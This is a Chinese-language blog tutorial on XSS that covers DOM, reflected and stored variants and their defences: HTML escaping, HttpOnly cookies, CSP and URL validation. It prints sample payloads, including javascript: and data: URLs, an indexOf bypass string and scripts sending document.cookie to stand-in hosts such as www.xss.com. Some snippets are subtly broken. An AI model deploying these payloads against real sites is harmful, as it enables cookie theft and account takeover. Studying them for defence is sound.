安全攻防之XSS

原文

持续更新...

前言

在万物互联的时代,数据安全与个人隐私受到前所未有的挑战,各种攻防策略层出不穷,深入了解攻防底层的原理刻不容缓。本文旨在将日常开发上遇见的问题作总结,通过不断补全安全攻防方面的知识,形成对安全攻防体系有良好的运用。

XSS (Cross-Site Scripting)

XSS 指跨站脚本攻击,因为缩写和 CSS 重叠,所以被叫 XSS。

  • 原理:

    • 攻击者通过向 web 页面插入恶意可执行代码(HTML 标签或 JavaScript 脚本),当用户浏览该页面时,嵌入该页面的恶意代码就会执行,从而达到盗用用户信息或在页面显示恶意骗取用户信息的操作的目的。

XSS 分类

XSS 根据恶意脚本的传递方式可以分为 3 类:

  • 反射型(非持久型)
  • 存储型(持久型)
  • DOM 型

前面两种恶意脚本都会经过服务器端然后返回给客户端,相对 DOM 型来说比较好检测与防御,而 DOM 型不用将恶意脚本传输到服务器再返回客户端,只需要直接在客户端执行恶意代码来达到目的。

DOM-XSS

在了解 DOM-XSS 前先了解什么是 DOM,因为 DOM-XSS 是基于 DOM 来操纵攻击的。

DOM 指 文档对象模型 (Document Object Model)是 HTML 和 XML 文档的编程接口。DOM 实际是 将文档解析为一个由节点(node)和对象(包含属性和方法的对象)组成的结构集合,即节点树(NodeTree)。

对于浏览器来说,DOM 文档就是一份 XML 文档,当 W3C 规范 DOM 标准后,通过 JavaScript 就可以轻松的使用 DOM API 访问 element 了。

原理

通过 URL 向客户端注入恶意代码。主要是诱导用户访问自己构造的 URL 来实现,2020年测试DOM-XSS时,发现最新版本现代浏览器基本对齐免疫

DOM-XSS 的优势

  • 避开 waf(网站应用级入侵防御系统):攻击者直接通过 location.hash 设置 URL 锚(#)的内容,既能让 JS 读取到该参数,又能避免对#后的参数传入到服务器,从而避免 waf 检测。同样 location.search 也可以在?之后设置参数来实现#的效果。
  • 长度不限:攻击代码长度不限
  • 隐蔽性强:攻击代码可以具有隐蔽性,持久性。例如使用 Cookie 和 localStorage 作为攻击点的 DOM-XSS,非常难以察觉,且持续的时间长。

常见场景

innerHTML|outerHTML

对需要插入 DOM element 的场景,当入手源代码可执行恶意代码时,如在输入框输入<svg/onload=alert(1)>

innerHTML|outerHTML类型的还有 document.write() 、 document.URL.indexOf("id=")。 indexOf 获取 url 里面的参数,然后通过 writeln( )或者 write( )输出到 HTML,造成 xss。

  • 原理:通过向 innerHTML|outerHTML 插入带入恶意代码

  • 情景案例:获取 input 元素内容插入 DOM

<div id="box"></div>
<input type="text" id="inp" />
<input id="btn" type="button" value="发送消息" name="" />
<img src="http:www.xxx.com/xx.jpg" onload="http://www.hack.com/?cookie=xxx" onerror="while(true){console.log(1)}" />
<script>
  var box = document.querySelector('#box'),
    inp = document.querySelector('#inp'),
    btn = document.querySelector('#btn');
  btn.addEventListener('click', function () {
    var msg = Date.now() + ':' + inp.value + '<br>';
    box.innerHTML = box.innerHTML + msg;
  });
  // document.write();
  var hash = location.search.slice(1);
  document.write(hash);
</script>

当输入正常文本时,DOM 会正常显示,如:输入Hello world, box 显示 Hello world

当输入恶意代码时,可能会造成用户数据被盗或程序奔溃,如:

输入:<svg/onload=alert(1)>
浏览器会显示一个alert(1)弹窗

输入:<img src="http:www.xxx.com/xx.jpg" onload="http://www.hack.com/?cookie=xxx" onerror="while(true){console.log(1)}" />
那么会出现一个恐怖的结果,如果图片加载失败浏览器会被死循环弄崩溃,如果图片加载成功者用户cookie会被恶意盗取

幸好随着科技的进步,现代浏览器已经对 alert 这种操作免疫了,但 ie 仍然沦陷,并且对类似上述图片的操作浏览器还不能起到的自我保护,所以开发者要打起十二分精神呀。

  • 防御:
    • 对于输入的内容最稳妥的办法是做字符转义,最基本也要进行 encodeURIComponent|decodeURIComponent 处理。
    • 对于使用innerHTML|outerHTML,最简单的是使用innerText|outerText代替
// 分享一份常用JavaScript字符转义
/**
 * 用于文本输入栏,将符号替换成转义字符
 * @param {String} str
 */
export const escapeHTML = (str) =>
  str.replace(
    /[&<>'"]/g,
    (tag) =>
      ({
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        "'": '&#39;',
        '"': '&quot;',
      }[tag] || tag)
  );

/**
 * 用于文本输入栏,将符号替换成转义字符
 * @param {String} str
 */
export const unescapeHTML = (str) =>
  str.replace(
    /&amp;|&lt;|&gt;|&#39;|&quot;/g,
    (tag) =>
      ({
        '&amp;': '&',
        '&lt;': '<',
        '&gt;': '>',
        '&#39;': "'",
        '&quot;': '"',
      }[tag] || tag)
  );
数据存储

localStorageSessioinStoragecookies储存源中取数据,开发者往往认为从上述数据库获得的值是安全的,因此忽略对值进行处理。

  • 原理:攻击者利用开发者忘记对localStorageSessioinStoragecookies在设值时对数据进行处理的漏洞,在其设置是注入恶意代码,到账在下次获取值并赋值时产生安全隐患。

  • 情景案例:数据注入

<div id="storage">storage:</div>
<input type="text" id="inp" />
<input id="btnStorage" type="button" value="storage" name="" />
<script>
  var storage = document.querySelector('#storage'),
    inp = document.querySelector('#inp'),
    btnStorage = document.querySelector('#btnStorage');
  btnStorage.addEventListener('click', function () {
    var msg = inp.value + '<br>';
    localStorage.setItem('name', msg);
    box.innerHTML = localStorage.name;
  });
</script>

可见只要攻击者在网页的localStorageSessioinStoragecookies等上的字段设置了恶意代码,在下一次访问值时即可收到攻击,因此建议在设置值或获取值时要对内容做字符转义处理。此外还有 document.referrer,window.name,postMessage 都值得关注,也容易造成 Dom xss,触发点不同,document.referrer 可能需要从上一页 / 上面的 url,才能触发。

  • 防御:
    • 对类似localStorageSessioinStoragecookies的值的设置和获取要做字符转义处理

反射型(非持久型) xss

非持久型 XSS 漏洞,一般是通过给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开且参数被赋值执行时,恶意代码就会被 HTML 解析、执行。

原理

带有恶意代码参数的 URL 被用户点击后,用户数据被恶意代码盗取。

特征

  • 即时性,不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据。
  • 攻击者需要诱骗点击,必须要通过用户点击链接才能发起
  • 反馈率低,所以较难发现和及时响应修复

防御

  • 尽可能避免从 URL,document.referrer,document.forms 等这种 DOM API 中获取数据直接渲染。
  • 尽可能避免使用 eval(), new Function(),document.write(),document.writeln(),window.setInterval(),window.setTimeout(),innerHTML,document.createElement() 等可执行字符串的方法。
  • 对 Web 页面渲染的内容,须要对其进行字符编码转义处理。

常见场景

页面跳转
  • JavaScript 实现跳转方式:
    • location.replace()
    • location.href=xxx
    • location.assign()

当看到页面跳转可引起 DOM-XSS 时,是否会有一种摸不到脑袋呢。正常情况使用 hash 去实现页面跳转时,由于 hash 后部分参数可控,当攻击者在 url 上使用 伪协议 时,由于 hash 参数不会传入到服务器,从而避免了 WAF 的检测,而这时带有伪协议的恶意脚步在浏览器被 执行,从而达到攻击目的。

常见 伪协议javascript:vbscript:data:。且现在的移动端(android 和 ios)可以自定义这种协议 sechme 从浏览器打开本地 app。

  • 原理:主要通过 hash 后设置 伪协议 编写恶意代码,当用户使需要使用 hash 参数调用 location 方法跳转操作时触发。

  • 情景案例:通过 location 跳转来自 hash 的参数

var hash = location.hash;
if (hash) {
  var url = hash.substring(1);
  location.href = url;
}

// url的hash上设置 #javascript:alert(1) 时会有alert(1)弹窗
// IE下使用#vbscript:msgbox(IE)
// data: 格式为: #data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

// #javascript:(location.href=http://www.baidu.com); 则浏览器跳转到百度

对于需要使用 URL 参数或输入框(input/textarea)内容来实现跳转的情况,须对内容进行正则匹配判断是否合法 http(s)。同时切记使用 indexOf 判断是否合法 http(s),因为只需稍加改造javascript:alert(1)//http://cos.top15.cn即可绕过 indexOf 判断的合法性。

  • 防御
    • 使用正则匹配需要 location 跳转的内容,判断内容是否合法 http(s)
      • 注意正则元字符 ^ 必须的,少了跟 indexOf 匹配无异
/**
 * 验证合法https(或ip)
 * @param { string } value
 */
export const isHttp = (value) => /^((ht|f)tps?:\/\/)/.test(value);

/*
 * 错误示例:
 * url构造javascript:alert(1)//http://www.baidu.con即可绕过判断
 */
var t = location.search.slice(1); // 变量t取url中?之后的部分
if (t.indexOf('url=') > -1 && t.indexOf('http') > -1) {
  // 限定传入url中要带有indexOf的关键词
  var pos = t.indexOf('url=') + 4; // 往后截取
  url = t.slice(pos, t.length);
  location.href = url; // 跳转
}
eval()

使用 eval()声明变量或函数,且来源是用户可控参数。

  • 原理:攻击者利用eval() 函数会将传入的字符串当做 JavaScript 代码进行执行的特性,使用 eval 注入恶意脚步。

  • 情景案例:eval()注入

eval("var x = '" + location.search + "'");
console.log('eval() get: ', JSON.stringify(x));
  • 防御:
    • 避免使用 eval()

存储型(持久型) XSS

存储型 XSS 是最危险的一种跨站脚本,因为它不需要用户手动触发,相比反射型 XSS 和 DOM 型 XSS 具有更高的隐蔽性,所以危害更大。

允许用户存储数据的 web 程序都可能存在存储型 XSS 漏洞,当攻击者提交一段 XSS 恶意代码后,客户端没有转义处理,且被服务器端接收并存储到数据库后,当有用户访问需要加载含有恶意代码数据的页面时,用户就会被 XSS 攻击。若攻击对象时后台服务器或数据库时,网站服务则会出现宕机或用户数据泄露的风险。

原理

攻击者发现存储型 XSS 后向数据库发送恶意代码并保存,下次用户浏览对应页面即可产生 XSS 攻击,并获取用户数据。

攻击成立条件:

  • 通过 HTTP 请求提交表单数据没做字符转义直接入库。
  • 从数据库中取出的数据没做字符转义直接输出给前端。
  • 前端拿到数据没做字符转义直接渲染成 DOM。

特征

  • 持久性,恶意代码植入在数据库中。
  • 范围广,面向所有用户,访问指定页面即可盗取用户敏感私密信息。
  • 交互性强,面向提交表单类功能,且前后端在存取值时没对数据做字符转义。

防御

设置 HttpOnly

服务器在请求时在 cookie 中设置 HttpOnly 属性,设置 HttpOnly 后 js 脚本将无法读取到 cookie 信息,是预防 XSS 攻击窃取用户 cookie 最有效的防御手段。

// koa
ctx.cookies.set(name, value, {
  httpOnly: true, // 默认为 true
});
过滤数据源

这不仅是前端负责,后端也要做相同的过滤检查。

  • 对于输入格式的检查,例如:邮箱,电话号码,用户名,密码……等,按照规定的格式输入。

  • 转义字符

    • HtmlEncode:某些情况下,不能对用户数据进行严格过滤,需要对标签进行转换。

      • less-than character(<) 转化为 &lt;
      • greater-than character(>) 转化为 &gt;
      • ampersand character(&) 转化为 &amp;
      • double-quote character(") 转化为 &quot;
      • space character( ) 转化为 &nbsp;
      • Any ASCll code character whose code greater-than or equal to 0x80 转化为 &#<number>,when <number> is the ASCll character value
      <!-- 如用户输入 -->
      <script>
        window.location.href = 'http://www.baidu.com';
      </script>
      <!-- 转义后保存结果 -->
      <!-- 在展现时,浏览器会对这些字符转换成文本内容,而不是一段可以执行的代码。 -->
      &lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;
      
    • JavaScriptEncode:对特殊含义字符加上反斜杠转义,如:

      • " 转义为 \"
      • ' 转义为 \'
      • \ 转义为 \\'
      • \n 转义为 \\n'
      • \r 转义为 \\r'
CSP

CSP(Content-Security-Policy) 本质上是建立浏览器允许动作白名单。开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击,但是像使用 vuejs 构建网站时需要使用 vuejs 的 CSP 版本,因为 CSP 是天然禁用 eval(),with(){}的使用。

通常可以通过两种方式来开启 CSP:

  • HTTP 的 Header 设置 Content-Security-Policy
  • HTML 的 head 设置 meta 标签

对于 HTTP Header,需要正确配置页面需要的内容,如下:

只允许加载本站资源

Content-Security-Policy: default-src 'self'

只允许加载 HTTPS 协议图片

Content-Security-Policy: img-src https://\*

允许加载任何来源框架

Content-Security-Policy: child-src 'none'

常见情“

留言板

向留言板输入恶意代码提交大服务器的数据库,刷新留言板即可执行恶意代码。

<!-- 恶意代码 -->
<script>
  var img = document.createElement('img');
  img.src = 'http://www.xss.com?cookie=' + document.cookie;
  img.style.display = 'none';
  document.getElementsByTagName('body')[0].appendChild(img);
</script>

用户的登录凭证存储于服务器的 session 中,同时浏览器的 cookie 中也有存储备份。如果攻击者能获取到用户登录凭证的 Cookie,即可绕开登录流程来访问用户的账号了。

CSRF

CSRF(Cross-Site Request Forgeries)即跨站点请求伪造,也被称为 one-click attack 或者 session riding。它利用用户已登录的身份,在用户不知情的情况下,完成一些违背用户意愿的事情,如:修改用户信息,删初评论等。

待更新

如有纰漏请大佬指正如果喜欢本文请点赞支持(^_−)☆

参考文档


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容